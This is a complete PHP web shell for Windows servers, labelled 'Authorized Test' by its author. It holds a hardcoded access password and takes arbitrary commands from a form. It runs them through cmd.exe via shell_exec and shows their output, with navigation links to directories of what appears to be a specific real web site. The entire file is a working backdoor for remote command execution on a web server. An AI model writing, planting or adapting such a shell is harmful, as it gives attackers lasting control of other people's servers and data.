<?php
$pass = 'dmhs1337';
if (!isset($_GET['p']) || $_GET['p'] !== $pass) {
    http_response_code(403);
    die('Access Denied');
}

$cwd = $_POST['cwd'] ?? getcwd();
$cmd = $_POST['cmd'] ?? '';

$output = "";
if ($cmd) {
    $full_cmd = "cmd.exe /c " . $cmd;
    chdir($cwd);
    $output = shell_exec($full_cmd . " 2>&1");
} else {
    $output = "Windows Webshell ready.\nCurrent dir: " . getcwd();
}
?>
<!DOCTYPE html>
<html>
<head><title>DMHS Win Webshell</title></head>
<body>
<pre><b>DMHS Windows Webshell - Authorized Test</b>
Server : <?=htmlspecialchars($_SERVER['SERVER_NAME'])?>
Current: <?=htmlspecialchars(getcwd())?>

<form method="POST">
    <b>Path:</b> <input type="text" name="cwd" value="<?=htmlspecialchars($cwd)?>" size="80"><br><br>
    <b>Command:</b><br>
    <input type="text" name="cmd" value="<?=htmlspecialchars($cmd)?>" size="90" autofocus>
    <input type="submit" value="Execute">
</form>

<hr>
<b>Quick Navigation:</b> 
<a href="?p=<?=$pass?>&cwd=D:\wwwroot\board\www\papers">papers</a> |
<a href="?p=<?=$pass?>&cwd=D:\wwwroot\board\www">www</a> |
<a href="?p=<?=$pass?>&cwd=D:\wwwroot">wwwroot</a> |
<a href="?p=<?=$pass?>&cwd=D:\">D:\</a>

<hr>
<b>Output:</b>
<?=htmlspecialchars($output ?: "No output")?>
</pre>
</body>
</html>
